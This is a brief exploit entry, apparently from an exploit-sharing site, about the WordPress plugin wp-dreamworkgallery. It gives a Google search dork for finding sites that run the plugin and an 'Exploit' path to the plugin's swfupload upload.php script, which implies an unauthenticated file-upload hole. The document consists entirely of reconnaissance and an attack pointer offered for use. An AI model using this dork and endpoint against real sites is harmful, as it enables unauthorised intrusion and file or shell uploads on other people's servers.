Dork : 

 filetype:xml inurl:/wp-content/plugins/wp-dreamworkgallery

Exploit : 

 /wp-content/plugins/wp-dreamworkgallery/js/swfupload/js/upload.php